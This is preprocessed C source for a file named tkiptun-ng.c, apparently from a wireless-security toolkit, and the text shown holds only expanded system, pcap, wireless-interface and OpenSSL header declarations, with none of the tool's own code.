# 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include-fixed/limits.h" 1 3 4
# 34 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include-fixed/limits.h" 3 4
# 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include-fixed/syslimits.h" 1 3 4






# 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include-fixed/limits.h" 1 3 4
# 169 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include-fixed/limits.h" 3 4
# 1 "/usr/include/limits.h" 1 3 4
# 149 "/usr/include/limits.h" 3 4
# 1 "/usr/include/bits/posix2_lim.h" 1 3 4
# 150 "/usr/include/limits.h" 2 3 4
# 170 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include-fixed/limits.h" 2 3 4
# 8 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include-fixed/syslimits.h" 2 3 4
# 35 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include-fixed/limits.h" 2 3 4
# 63 "tkiptun-ng.c" 2

# 1 "/usr/include/netinet/in_systm.h" 1 3 4
# 26 "/usr/include/netinet/in_systm.h" 3 4

# 35 "/usr/include/netinet/in_systm.h" 3 4
typedef u_int16_t n_short;
typedef u_int32_t n_long;
typedef u_int32_t n_time;


# 65 "tkiptun-ng.c" 2
# 1 "/usr/include/netinet/ip.h" 1 3 4
# 27 "/usr/include/netinet/ip.h" 3 4


struct timestamp
  {
    u_int8_t len;
    u_int8_t ptr;

    unsigned int flags:4;
    unsigned int overflow:4;






    u_int32_t data[9];
  };

struct iphdr
  {

    unsigned int ihl:4;
    unsigned int version:4;






    u_int8_t tos;
    u_int16_t tot_len;
    u_int16_t id;
    u_int16_t frag_off;
    u_int8_t ttl;
    u_int8_t protocol;
    u_int16_t check;
    u_int32_t saddr;
    u_int32_t daddr;

  };
# 108 "/usr/include/netinet/ip.h" 3 4
struct ip
  {

    unsigned int ip_hl:4;
    unsigned int ip_v:4;





    u_int8_t ip_tos;
    u_short ip_len;
    u_short ip_id;
    u_short ip_off;




    u_int8_t ip_ttl;
    u_int8_t ip_p;
    u_short ip_sum;
    struct in_addr ip_src, ip_dst;
  };




struct ip_timestamp
  {
    u_int8_t ipt_code;
    u_int8_t ipt_len;
    u_int8_t ipt_ptr;

    unsigned int ipt_flg:4;
    unsigned int ipt_oflw:4;





    u_int32_t data[9];
  };
# 301 "/usr/include/netinet/ip.h" 3 4

# 66 "tkiptun-ng.c" 2
# 1 "/usr/include/netinet/tcp.h" 1 3 4
# 92 "/usr/include/netinet/tcp.h" 3 4
struct tcphdr
  {
    u_int16_t source;
    u_int16_t dest;
    u_int32_t seq;
    u_int32_t ack_seq;

    u_int16_t res1:4;
    u_int16_t doff:4;
    u_int16_t fin:1;
    u_int16_t syn:1;
    u_int16_t rst:1;
    u_int16_t psh:1;
    u_int16_t ack:1;
    u_int16_t urg:1;
    u_int16_t res2:2;
# 121 "/usr/include/netinet/tcp.h" 3 4
    u_int16_t window;
    u_int16_t check;
    u_int16_t urg_ptr;
};


enum
{
  TCP_ESTABLISHED = 1,
  TCP_SYN_SENT,
  TCP_SYN_RECV,
  TCP_FIN_WAIT1,
  TCP_FIN_WAIT2,
  TCP_TIME_WAIT,
  TCP_CLOSE,
  TCP_CLOSE_WAIT,
  TCP_LAST_ACK,
  TCP_LISTEN,
  TCP_CLOSING
};
# 179 "/usr/include/netinet/tcp.h" 3 4
enum tcp_ca_state
{
  TCP_CA_Open = 0,
  TCP_CA_Disorder = 1,
  TCP_CA_CWR = 2,
  TCP_CA_Recovery = 3,
  TCP_CA_Loss = 4
};

struct tcp_info
{
  u_int8_t tcpi_state;
  u_int8_t tcpi_ca_state;
  u_int8_t tcpi_retransmits;
  u_int8_t tcpi_probes;
  u_int8_t tcpi_backoff;
  u_int8_t tcpi_options;
  u_int8_t tcpi_snd_wscale : 4, tcpi_rcv_wscale : 4;

  u_int32_t tcpi_rto;
  u_int32_t tcpi_ato;
  u_int32_t tcpi_snd_mss;
  u_int32_t tcpi_rcv_mss;

  u_int32_t tcpi_unacked;
  u_int32_t tcpi_sacked;
  u_int32_t tcpi_lost;
  u_int32_t tcpi_retrans;
  u_int32_t tcpi_fackets;


  u_int32_t tcpi_last_data_sent;
  u_int32_t tcpi_last_ack_sent;
  u_int32_t tcpi_last_data_recv;
  u_int32_t tcpi_last_ack_recv;


  u_int32_t tcpi_pmtu;
  u_int32_t tcpi_rcv_ssthresh;
  u_int32_t tcpi_rtt;
  u_int32_t tcpi_rttvar;
  u_int32_t tcpi_snd_ssthresh;
  u_int32_t tcpi_snd_cwnd;
  u_int32_t tcpi_advmss;
  u_int32_t tcpi_reordering;

  u_int32_t tcpi_rcv_rtt;
  u_int32_t tcpi_rcv_space;

  u_int32_t tcpi_total_retrans;
};





struct tcp_md5sig
{
  struct sockaddr_storage tcpm_addr;
  u_int16_t __tcpm_pad1;
  u_int16_t tcpm_keylen;
  u_int32_t __tcpm_pad2;
  u_int8_t tcpm_key[80];
};
# 67 "tkiptun-ng.c" 2

# 1 "version.h" 1
# 69 "tkiptun-ng.c" 2
# 1 "pcap.h" 1
# 49 "pcap.h"
struct pcap_file_header
{
    unsigned int magic;
    unsigned short version_major;
    unsigned short version_minor;
    int thiszone;
    unsigned int sigfigs;
    unsigned int snaplen;
    unsigned int linktype;
};

struct pcap_pkthdr
{
    int tv_sec;
    int tv_usec;
    unsigned int caplen;
    unsigned int len;
};

struct ivs2_filehdr
{
    unsigned short version;
};

struct ivs2_pkthdr
{
    unsigned short flags;
    unsigned short len;
};
# 70 "tkiptun-ng.c" 2
# 1 "osdep/osdep.h" 1
# 14 "osdep/osdep.h"
# 1 "osdep/byteorder.h" 1
# 15 "osdep/osdep.h" 2
# 1 "osdep/packed.h" 1
# 16 "osdep/osdep.h" 2






struct tx_info {
        unsigned int ti_rate;
};

struct rx_info {
        uint64_t ri_mactime;
        int32_t ri_power;
        int32_t ri_noise;
        uint32_t ri_channel;
        uint32_t ri_freq;
        uint32_t ri_rate;
        uint32_t ri_antenna;
} __attribute__ ((__packed__));






struct wif {
        int (*wi_read)(struct wif *wi, unsigned char *h80211, int len,
                           struct rx_info *ri);
        int (*wi_write)(struct wif *wi, unsigned char *h80211, int len,
                            struct tx_info *ti);
        int (*wi_set_channel)(struct wif *wi, int chan);
        int (*wi_get_channel)(struct wif *wi);
        int (*wi_set_freq)(struct wif *wi, int freq);
        int (*wi_get_freq)(struct wif *wi);
 void (*wi_close)(struct wif *wi);
 int (*wi_fd)(struct wif *wi);
 int (*wi_get_mac)(struct wif *wi, unsigned char *mac);
 int (*wi_set_mac)(struct wif *wi, unsigned char *mac);
 int (*wi_set_rate)(struct wif *wi, int rate);
 int (*wi_get_rate)(struct wif *wi);
 int (*wi_set_mtu)(struct wif *wi, int mtu);
 int (*wi_get_mtu)(struct wif *wi);
        int (*wi_get_monitor)(struct wif *wi);

        void *wi_priv;
        char wi_interface[64];
};


extern struct wif *wi_open(char *iface);
extern int wi_read(struct wif *wi, unsigned char *h80211, int len,
     struct rx_info *ri);
extern int wi_write(struct wif *wi, unsigned char *h80211, int len,
      struct tx_info *ti);
extern int wi_set_channel(struct wif *wi, int chan);
extern int wi_get_channel(struct wif *wi);
extern int wi_set_freq(struct wif *wi, int freq);
extern int wi_get_freq(struct wif *wi);
extern void wi_close(struct wif *wi);
extern char *wi_get_ifname(struct wif *wi);
extern int wi_get_mac(struct wif *wi, unsigned char *mac);
extern int wi_set_mac(struct wif *wi, unsigned char *mac);
extern int wi_get_rate(struct wif *wi);
extern int wi_set_rate(struct wif *wi, int rate);
extern int wi_get_monitor(struct wif *wi);
extern int wi_get_mtu(struct wif *wi);
extern int wi_set_mtu(struct wif *wi, int mtu);




extern struct wif *wi_open_osdep(char *iface);




extern int wi_fd(struct wif *wi);


extern struct wif *wi_alloc(int sz);
extern void *wi_priv(struct wif *wi);


extern int get_battery_state(void);





struct tif {
 int (*ti_read)(struct tif *ti, void *buf, int len);
 int (*ti_write)(struct tif *ti, void *buf, int len);
 int (*ti_fd)(struct tif *ti);
 char *(*ti_name)(struct tif *ti);
 int (*ti_set_mtu)(struct tif *ti, int mtu);
 int (*ti_get_mtu)(struct tif *ti);
 int (*ti_set_ip)(struct tif *ti, struct in_addr *ip);
 int (*ti_set_mac)(struct tif *ti, unsigned char *mac);
 void (*ti_close)(struct tif *ti);

 void *ti_priv;
};

extern struct tif *ti_open(char *iface);


extern struct tif *ti_alloc(int sz);
extern void *ti_priv(struct tif *ti);


extern char *ti_name(struct tif *ti);
extern int ti_set_mtu(struct tif *ti, int mtu);
extern int ti_get_mtu(struct tif *ti);
extern void ti_close(struct tif *ti);
extern int ti_fd(struct tif *ti);
extern int ti_read(struct tif *ti, void *buf, int len);
extern int ti_write(struct tif *ti, void *buf, int len);
extern int ti_set_mac(struct tif *ti, unsigned char *mac);
extern int ti_set_ip(struct tif *ti, struct in_addr *ip);
# 71 "tkiptun-ng.c" 2
# 1 "crypto.h" 1
# 12 "crypto.h"
# 1 "/usr/include/openssl/hmac.h" 1 3 4
# 61 "/usr/include/openssl/hmac.h" 3 4
# 1 "/usr/include/openssl/opensslconf.h" 1 3 4
# 62 "/usr/include/openssl/hmac.h" 2 3 4





# 1 "/usr/include/openssl/evp.h" 1 3 4
# 66 "/usr/include/openssl/evp.h" 3 4
# 1 "/usr/include/openssl/opensslconf.h" 1 3 4
# 67 "/usr/include/openssl/evp.h" 2 3 4



# 1 "/usr/include/openssl/ossl_typ.h" 1 3 4
# 58 "/usr/include/openssl/ossl_typ.h" 3 4
# 1 "/usr/include/openssl/e_os2.h" 1 3 4
# 56 "/usr/include/openssl/e_os2.h" 3 4
# 1 "/usr/include/openssl/opensslconf.h" 1 3 4
# 57 "/usr/include/openssl/e_os2.h" 2 3 4
# 59 "/usr/include/openssl/ossl_typ.h" 2 3 4
# 79 "/usr/include/openssl/ossl_typ.h" 3 4
typedef struct asn1_string_st ASN1_INTEGER;
typedef struct asn1_string_st ASN1_ENUMERATED;
typedef struct asn1_string_st ASN1_BIT_STRING;
typedef struct asn1_string_st ASN1_OCTET_STRING;
typedef struct asn1_string_st ASN1_PRINTABLESTRING;
typedef struct asn1_string_st ASN1_T61STRING;
typedef struct asn1_string_st ASN1_IA5STRING;
typedef struct asn1_string_st ASN1_GENERALSTRING;
typedef struct asn1_string_st ASN1_UNIVERSALSTRING;
typedef struct asn1_string_st ASN1_BMPSTRING;
typedef struct asn1_string_st ASN1_UTCTIME;
typedef struct asn1_string_st ASN1_TIME;
typedef struct asn1_string_st ASN1_GENERALIZEDTIME;
typedef struct asn1_string_st ASN1_VISIBLESTRING;
typedef struct asn1_string_st ASN1_UTF8STRING;
typedef struct asn1_string_st ASN1_STRING;
typedef int ASN1_BOOLEAN;
typedef int ASN1_NULL;


typedef struct ASN1_ITEM_st ASN1_ITEM;
typedef struct asn1_pctx_st ASN1_PCTX;
# 114 "/usr/include/openssl/ossl_typ.h" 3 4
typedef struct bignum_st BIGNUM;
typedef struct bignum_ctx BN_CTX;
typedef struct bn_blinding_st BN_BLINDING;
typedef struct bn_mont_ctx_st BN_MONT_CTX;
typedef struct bn_recp_ctx_st BN_RECP_CTX;
typedef struct bn_gencb_st BN_GENCB;

typedef struct buf_mem_st BUF_MEM;

typedef struct evp_cipher_st EVP_CIPHER;
typedef struct evp_cipher_ctx_st EVP_CIPHER_CTX;
typedef struct env_md_st EVP_MD;
typedef struct env_md_ctx_st EVP_MD_CTX;
typedef struct evp_pkey_st EVP_PKEY;

typedef struct evp_pkey_asn1_method_st EVP_PKEY_ASN1_METHOD;

typedef struct evp_pkey_method_st EVP_PKEY_METHOD;
typedef struct evp_pkey_ctx_st EVP_PKEY_CTX;

typedef struct dh_st DH;
typedef struct dh_method DH_METHOD;

typedef struct dsa_st DSA;
typedef struct dsa_method DSA_METHOD;

typedef struct rsa_st RSA;
typedef struct rsa_meth_st RSA_METHOD;

typedef struct rand_meth_st RAND_METHOD;

typedef struct ecdh_method ECDH_METHOD;
typedef struct ecdsa_method ECDSA_METHOD;

typedef struct x509_st X509;
typedef struct X509_algor_st X509_ALGOR;
typedef struct X509_crl_st X509_CRL;
typedef struct x509_crl_method_st X509_CRL_METHOD;
typedef struct x509_revoked_st X509_REVOKED;
typedef struct X509_name_st X509_NAME;
typedef struct X509_pubkey_st X509_PUBKEY;
typedef struct x509_store_st X509_STORE;
typedef struct x509_store_ctx_st X509_STORE_CTX;

typedef struct pkcs8_priv_key_info_st PKCS8_PRIV_KEY_INFO;

typedef struct v3_ext_ctx X509V3_CTX;
typedef struct conf_st CONF;

typedef struct store_st STORE;
typedef struct store_method_st STORE_METHOD;

typedef struct ui_st UI;
typedef struct ui_method_st UI_METHOD;

typedef struct st_ERR_FNS ERR_FNS;

typedef struct engine_st ENGINE;
typedef struct ssl_st SSL;
typedef struct ssl_ctx_st SSL_CTX;

typedef struct X509_POLICY_NODE_st X509_POLICY_NODE;
typedef struct X509_POLICY_LEVEL_st X509_POLICY_LEVEL;
typedef struct X509_POLICY_TREE_st X509_POLICY_TREE;
typedef struct X509_POLICY_CACHE_st X509_POLICY_CACHE;

typedef struct AUTHORITY_KEYID_st AUTHORITY_KEYID;
typedef struct DIST_POINT_st DIST_POINT;
typedef struct ISSUING_DIST_POINT_st ISSUING_DIST_POINT;
typedef struct NAME_CONSTRAINTS_st NAME_CONSTRAINTS;





typedef struct crypto_ex_data_st CRYPTO_EX_DATA;

typedef int CRYPTO_EX_new(void *parent, void *ptr, CRYPTO_EX_DATA *ad,
     int idx, long argl, void *argp);
typedef void CRYPTO_EX_free(void *parent, void *ptr, CRYPTO_EX_DATA *ad,
     int idx, long argl, void *argp);
typedef int CRYPTO_EX_dup(CRYPTO_EX_DATA *to, CRYPTO_EX_DATA *from, void *from_d,
     int idx, long argl, void *argp);

typedef struct ocsp_req_ctx_st OCSP_REQ_CTX;
typedef struct ocsp_response_st OCSP_RESPONSE;
typedef struct ocsp_responder_id_st OCSP_RESPID;
# 71 "/usr/include/openssl/evp.h" 2 3 4

# 1 "/usr/include/openssl/symhacks.h" 1 3 4
# 58 "/usr/include/openssl/symhacks.h" 3 4
# 1 "/usr/include/openssl/e_os2.h" 1 3 4
# 56 "/usr/include/openssl/e_os2.h" 3 4
# 1 "/usr/include/openssl/opensslconf.h" 1 3 4
# 57 "/usr/include/openssl/e_os2.h" 2 3 4
# 59 "/usr/include/openssl/symhacks.h" 2 3 4
# 73 "/usr/include/openssl/evp.h" 2 3 4


# 1 "/usr/include/openssl/bio.h" 1 3 4
# 62 "/usr/include/openssl/bio.h" 3 4
# 1 "/usr/include/openssl/e_os2.h" 1 3 4
# 56 "/usr/include/openssl/e_os2.h" 3 4
# 1 "/usr/include/openssl/opensslconf.h" 1 3 4
# 57 "/usr/include/openssl/e_os2.h" 2 3 4
# 63 "/usr/include/openssl/bio.h" 2 3 4




# 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stdarg.h" 1 3 4
# 68 "/usr/include/openssl/bio.h" 2 3 4

# 1 "/usr/include/openssl/crypto.h" 1 3 4
# 122 "/usr/include/openssl/crypto.h" 3 4
# 1 "/usr/include/openssl/e_os2.h" 1 3 4
# 56 "/usr/include/openssl/e_os2.h" 3 4
# 1 "/usr/include/openssl/opensslconf.h" 1 3 4
# 57 "/usr/include/openssl/e_os2.h" 2 3 4
# 123 "/usr/include/openssl/crypto.h" 2 3 4





# 1 "/usr/include/openssl/stack.h" 1 3 4
# 66 "/usr/include/openssl/stack.h" 3 4
typedef struct stack_st
 {
 int num;
 char **data;
 int sorted;

 int num_alloc;
 int (*comp)(const void *, const void *);
 } _STACK;




int sk_num(const _STACK *);
void *sk_value(const _STACK *, int);

void *sk_set(_STACK *, int, void *);

_STACK *sk_new(int (*cmp)(const void *, const void *));
_STACK *sk_new_null(void);
void sk_free(_STACK *);
void sk_pop_free(_STACK *st, void (*func)(void *));
int sk_insert(_STACK *sk, void *data, int where);
void *sk_delete(_STACK *st, int loc);
void *sk_delete_ptr(_STACK *st, void *p);
int sk_find(_STACK *st, void *data);
int sk_find_ex(_STACK *st, void *data);
int sk_push(_STACK *st, void *data);
int sk_unshift(_STACK *st, void *data);
void *sk_shift(_STACK *st);
void *sk_pop(_STACK *st);
void sk_zero(_STACK *st);
int (*sk_set_cmp_func(_STACK *sk, int (*c)(const void *, const void *)))
 (const void *, const void *);
_STACK *sk_dup(_STACK *st);
void sk_sort(_STACK *st);
int sk_is_sorted(const _STACK *st);
# 129 "/usr/include/openssl/crypto.h" 2 3 4
# 1 "/usr/include/openssl/safestack.h" 1 3 4
# 113 "/usr/include/openssl/safestack.h" 3 4
typedef char *OPENSSL_STRING;

typedef const char *OPENSSL_CSTRING;
# 125 "/usr/include/openssl/safestack.h" 3 4
struct stack_st_OPENSSL_STRING { _STACK stack; };





typedef void *OPENSSL_BLOCK;
struct stack_st_OPENSSL_BLOCK { _STACK stack; };
# 130 "/usr/include/openssl/crypto.h" 2 3 4
# 1 "/usr/include/openssl/opensslv.h" 1 3 4
# 131 "/usr/include/openssl/crypto.h" 2 3 4
# 171 "/usr/include/openssl/crypto.h" 3 4
typedef struct openssl_item_st
 {
 int code;
 void *value;
 size_t value_size;
 size_t *value_length;
 } OPENSSL_ITEM;
# 256 "/usr/include/openssl/crypto.h" 3 4
typedef struct
 {
 int references;
 struct CRYPTO_dynlock_value *data;
 } CRYPTO_dynlock;
# 283 "/usr/include/openssl/crypto.h" 3 4
typedef struct bio_st BIO_dummy;

struct crypto_ex_data_st
 {
 struct stack_st_void *sk;
 int dummy;
 };
struct stack_st_void { _STACK stack; };




typedef struct crypto_ex_data_func_st
 {
 long argl;
 void *argp;
 CRYPTO_EX_new *new_func;
 CRYPTO_EX_free *free_func;
 CRYPTO_EX_dup *dup_func;
 } CRYPTO_EX_DATA_FUNCS;

struct stack_st_CRYPTO_EX_DATA_FUNCS { _STACK stack; };
# 356 "/usr/include/openssl/crypto.h" 3 4
int CRYPTO_mem_ctrl(int mode);
int CRYPTO_is_mem_check_on(void);
# 384 "/usr/include/openssl/crypto.h" 3 4
const char *SSLeay_version(int type);
unsigned long SSLeay(void);

int OPENSSL_issetugid(void);


typedef struct st_CRYPTO_EX_DATA_IMPL CRYPTO_EX_DATA_IMPL;

const CRYPTO_EX_DATA_IMPL *CRYPTO_get_ex_data_implementation(void);

int CRYPTO_set_ex_data_implementation(const CRYPTO_EX_DATA_IMPL *i);

int CRYPTO_ex_data_new_class(void);

int CRYPTO_get_ex_new_index(int class_index, long argl, void *argp,
  CRYPTO_EX_new *new_func, CRYPTO_EX_dup *dup_func,
  CRYPTO_EX_free *free_func);


int CRYPTO_new_ex_data(int class_index, void *obj, CRYPTO_EX_DATA *ad);
int CRYPTO_dup_ex_data(int class_index, CRYPTO_EX_DATA *to,
  CRYPTO_EX_DATA *from);
void CRYPTO_free_ex_data(int class_index, void *obj, CRYPTO_EX_DATA *ad);


int CRYPTO_set_ex_data(CRYPTO_EX_DATA *ad, int idx, void *val);
void *CRYPTO_get_ex_data(const CRYPTO_EX_DATA *ad,int idx);


void CRYPTO_cleanup_all_ex_data(void);

int CRYPTO_get_new_lockid(char *name);

int CRYPTO_num_locks(void);
void CRYPTO_lock(int mode, int type,const char *file,int line);
void CRYPTO_set_locking_callback(void (*func)(int mode,int type,
           const char *file,int line));
void (*CRYPTO_get_locking_callback(void))(int mode,int type,const char *file,
  int line);
void CRYPTO_set_add_lock_callback(int (*func)(int *num,int mount,int type,
           const char *file, int line));
int (*CRYPTO_get_add_lock_callback(void))(int *num,int mount,int type,
       const char *file,int line);


typedef struct crypto_threadid_st
 {
 void *ptr;
 unsigned long val;
 } CRYPTO_THREADID;

void CRYPTO_THREADID_set_numeric(CRYPTO_THREADID *id, unsigned long val);
void CRYPTO_THREADID_set_pointer(CRYPTO_THREADID *id, void *ptr);
int CRYPTO_THREADID_set_callback(void (*threadid_func)(CRYPTO_THREADID *));
void (*CRYPTO_THREADID_get_callback(void))(CRYPTO_THREADID *);
void CRYPTO_THREADID_current(CRYPTO_THREADID *id);
int CRYPTO_THREADID_cmp(const CRYPTO_THREADID *a, const CRYPTO_THREADID *b);
void CRYPTO_THREADID_cpy(CRYPTO_THREADID *dest, const CRYPTO_THREADID *src);
unsigned long CRYPTO_THREADID_hash(const CRYPTO_THREADID *id);

void CRYPTO_set_id_callback(unsigned long (*func)(void));
unsigned long (*CRYPTO_get_id_callback(void))(void);
unsigned long CRYPTO_thread_id(void);


const char *CRYPTO_get_lock_name(int type);
int CRYPTO_add_lock(int *pointer,int amount,int type, const char *file,
      int line);

int CRYPTO_get_new_dynlockid(void);
void CRYPTO_destroy_dynlockid(int i);
struct CRYPTO_dynlock_value *CRYPTO_get_dynlock_value(int i);
void CRYPTO_set_dynlock_create_callback(struct CRYPTO_dynlock_value *(*dyn_create_function)(const char *file, int line));
void CRYPTO_set_dynlock_lock_callback(void (*dyn_lock_function)(int mode, struct CRYPTO_dynlock_value *l, const char *file, int line));
void CRYPTO_set_dynlock_destroy_callback(void (*dyn_destroy_function)(struct CRYPTO_dynlock_value *l, const char *file, int line));
struct CRYPTO_dynlock_value *(*CRYPTO_get_dynlock_create_callback(void))(const char *file,int line);
void (*CRYPTO_get_dynlock_lock_callback(void))(int mode, struct CRYPTO_dynlock_value *l, const char *file,int line);
void (*CRYPTO_get_dynlock_destroy_callback(void))(struct CRYPTO_dynlock_value *l, const char *file,int line);



int CRYPTO_set_mem_functions(void *(*m)(size_t),void *(*r)(void *,size_t), void (*f)(void *));
int CRYPTO_set_locked_mem_functions(void *(*m)(size_t), void (*free_func)(void *));
int CRYPTO_set_mem_ex_functions(void *(*m)(size_t,const char *,int),
                                void *(*r)(void *,size_t,const char *,int),
                                void (*f)(void *));
int CRYPTO_set_locked_mem_ex_functions(void *(*m)(size_t,const char *,int),
                                       void (*free_func)(void *));
int CRYPTO_set_mem_debug_functions(void (*m)(void *,int,const char *,int,int),
       void (*r)(void *,void *,int,const char *,int,int),
       void (*f)(void *,int),
       void (*so)(long),
       long (*go)(void));
void CRYPTO_get_mem_functions(void *(**m)(size_t),void *(**r)(void *, size_t), void (**f)(void *));
void CRYPTO_get_locked_mem_functions(void *(**m)(size_t), void (**f)(void *));
void CRYPTO_get_mem_ex_functions(void *(**m)(size_t,const char *,int),
                                 void *(**r)(void *, size_t,const char *,int),
                                 void (**f)(void *));
void CRYPTO_get_locked_mem_ex_functions(void *(**m)(size_t,const char *,int),
                                        void (**f)(void *));
void CRYPTO_get_mem_debug_functions(void (**m)(void *,int,const char *,int,int),
        void (**r)(void *,void *,int,const char *,int,int),
        void (**f)(void *,int),
        void (**so)(long),
        long (**go)(void));

void *CRYPTO_malloc_locked(int num, const char *file, int line);
void CRYPTO_free_locked(void *ptr);
void *CRYPTO_malloc(int num, const char *file, int line);
char *CRYPTO_strdup(const char *str, const char *file, int line);
void CRYPTO_free(void *ptr);
void *CRYPTO_realloc(void *addr,int num, const char *file, int line);
void *CRYPTO_realloc_clean(void *addr,int old_num,int num,const char *file,
      int line);
void *CRYPTO_remalloc(void *addr,int num, const char *file, int line);

void OPENSSL_cleanse(void *ptr, size_t len);

void CRYPTO_set_mem_debug_options(long bits);
long CRYPTO_get_mem_debug_options(void);



int CRYPTO_push_info_(const char *info, const char *file, int line);
int CRYPTO_pop_info(void);
int CRYPTO_remove_all_info(void);
# 519 "/usr/include/openssl/crypto.h" 3 4
void CRYPTO_dbg_malloc(void *addr,int num,const char *file,int line,int before_p);
void CRYPTO_dbg_realloc(void *addr1,void *addr2,int num,const char *file,int line,int before_p);
void CRYPTO_dbg_free(void *addr,int before_p);
# 530 "/usr/include/openssl/crypto.h" 3 4
void CRYPTO_dbg_set_options(long bits);
long CRYPTO_dbg_get_options(void);



void CRYPTO_mem_leaks_fp(FILE *);

void CRYPTO_mem_leaks(struct bio_st *bio);

typedef void *CRYPTO_MEM_LEAK_CB(unsigned long, const char *, int, int, void *);
void CRYPTO_mem_leaks_cb(CRYPTO_MEM_LEAK_CB *cb);


void OpenSSLDie(const char *file,int line,const char *assertion);


unsigned long *OPENSSL_ia32cap_loc(void);

int OPENSSL_isservice(void);

int FIPS_mode(void);
int FIPS_mode_set(int r);

void OPENSSL_init(void);
# 582 "/usr/include/openssl/crypto.h" 3 4
int CRYPTO_memcmp(const void *a, const void *b, size_t len);





void ERR_load_CRYPTO_strings(void);
# 70 "/usr/include/openssl/bio.h" 2 3 4
# 231 "/usr/include/openssl/bio.h" 3 4
typedef struct bio_st BIO;

void BIO_set_flags(BIO *b, int flags);
int BIO_test_flags(const BIO *b, int flags);
void BIO_clear_flags(BIO *b, int flags);
# 285 "/usr/include/openssl/bio.h" 3 4
long (*BIO_get_callback(const BIO *b)) (struct bio_st *,int,const char *,int, long,long);
void BIO_set_callback(BIO *b,
 long (*callback)(struct bio_st *,int,const char *,int, long,long));
char *BIO_get_callback_arg(const BIO *b);
void BIO_set_callback_arg(BIO *b, char *arg);

const char * BIO_method_name(const BIO *b);
int BIO_method_type(const BIO *b);

typedef void bio_info_cb(struct bio_st *, int, const char *, int, long, long);

typedef struct bio_method_st
 {
 int type;
 const char *name;
 int (*bwrite)(BIO *, const char *, int);
 int (*bread)(BIO *, char *, int);
 int (*bputs)(BIO *, const char *);
 int (*bgets)(BIO *, char *, int);
 long (*ctrl)(BIO *, int, long, void *);
 int (*create)(BIO *);
 int (*destroy)(BIO *);
        long (*callback_ctrl)(BIO *, int, bio_info_cb *);
 } BIO_METHOD;

struct bio_st
 {
 BIO_METHOD *method;

 long (*callback)(struct bio_st *,int,const char *,int, long,long);
 char *cb_arg;

 int init;
 int shutdown;
 int flags;
 int retry_reason;
 int num;
 void *ptr;
 struct bio_st *next_bio;
 struct bio_st *prev_bio;
 int references;
 unsigned long num_read;
 unsigned long num_write;

 CRYPTO_EX_DATA ex_data;
 };

struct stack_st_BIO { _STACK stack; };

typedef struct bio_f_buffer_ctx_struct
 {
# 346 "/usr/include/openssl/bio.h" 3 4
 int ibuf_size;
 int obuf_size;

 char *ibuf;
 int ibuf_len;
 int ibuf_off;

 char *obuf;
 int obuf_len;
 int obuf_off;
 } BIO_F_BUFFER_CTX;


typedef int asn1_ps_func(BIO *b, unsigned char **pbuf, int *plen, void *parg);
# 574 "/usr/include/openssl/bio.h" 3 4
size_t BIO_ctrl_pending(BIO *b);
size_t BIO_ctrl_wpending(BIO *b);
# 593 "/usr/include/openssl/bio.h" 3 4
size_t BIO_ctrl_get_write_guarantee(BIO *b);
size_t BIO_ctrl_get_read_request(BIO *b);
int BIO_ctrl_reset_read_request(BIO *b);
# 614 "/usr/include/openssl/bio.h" 3 4
int BIO_set_ex_data(BIO *bio,int idx,void *data);
void *BIO_get_ex_data(BIO *bio,int idx);
int BIO_get_ex_new_index(long argl, void *argp, CRYPTO_EX_new *new_func,
 CRYPTO_EX_dup *dup_func, CRYPTO_EX_free *free_func);
unsigned long BIO_number_read(BIO *bio);
unsigned long BIO_number_written(BIO *bio);


int BIO_asn1_set_prefix(BIO *b, asn1_ps_func *prefix,
     asn1_ps_func *prefix_free);
int BIO_asn1_get_prefix(BIO *b, asn1_ps_func **pprefix,
     asn1_ps_func **pprefix_free);
int BIO_asn1_set_suffix(BIO *b, asn1_ps_func *suffix,
     asn1_ps_func *suffix_free);
int BIO_asn1_get_suffix(BIO *b, asn1_ps_func **psuffix,
     asn1_ps_func **psuffix_free);


BIO_METHOD *BIO_s_file(void );
BIO *BIO_new_file(const char *filename, const char *mode);
BIO *BIO_new_fp(FILE *stream, int close_flag);


BIO * BIO_new(BIO_METHOD *type);
int BIO_set(BIO *a,BIO_METHOD *type);
int BIO_free(BIO *a);
void BIO_vfree(BIO *a);
int BIO_read(BIO *b, void *data, int len);
int BIO_gets(BIO *bp,char *buf, int size);
int BIO_write(BIO *b, const void *data, int len);
int BIO_puts(BIO *bp,const char *buf);
int BIO_indent(BIO *b,int indent,int max);
long BIO_ctrl(BIO *bp,int cmd,long larg,void *parg);
long BIO_callback_ctrl(BIO *b, int cmd, void (*fp)(struct bio_st *, int, const char *, int, long, long));
char * BIO_ptr_ctrl(BIO *bp,int cmd,long larg);
long BIO_int_ctrl(BIO *bp,int cmd,long larg,int iarg);
BIO * BIO_push(BIO *b,BIO *append);
BIO * BIO_pop(BIO *b);
void BIO_free_all(BIO *a);
BIO * BIO_find_type(BIO *b,int bio_type);
BIO * BIO_next(BIO *b);
BIO * BIO_get_retry_BIO(BIO *bio, int *reason);
int BIO_get_retry_reason(BIO *bio);
BIO * BIO_dup_chain(BIO *in);

int BIO_nread0(BIO *bio, char **buf);
int BIO_nread(BIO *bio, char **buf, int num);
int BIO_nwrite0(BIO *bio, char **buf);
int BIO_nwrite(BIO *bio, char **buf, int num);

long BIO_debug_callback(BIO *bio,int cmd,const char *argp,int argi,
 long argl,long ret);

BIO_METHOD *BIO_s_mem(void);
BIO *BIO_new_mem_buf(void *buf, int len);
BIO_METHOD *BIO_s_socket(void);
BIO_METHOD *BIO_s_connect(void);
BIO_METHOD *BIO_s_accept(void);
BIO_METHOD *BIO_s_fd(void);

BIO_METHOD *BIO_s_log(void);

BIO_METHOD *BIO_s_bio(void);
BIO_METHOD *BIO_s_null(void);
BIO_METHOD *BIO_f_null(void);
BIO_METHOD *BIO_f_buffer(void);



BIO_METHOD *BIO_f_nbio_test(void);

BIO_METHOD *BIO_s_datagram(void);







int BIO_sock_should_retry(int i);
int BIO_sock_non_fatal_error(int error);
int BIO_dgram_non_fatal_error(int error);

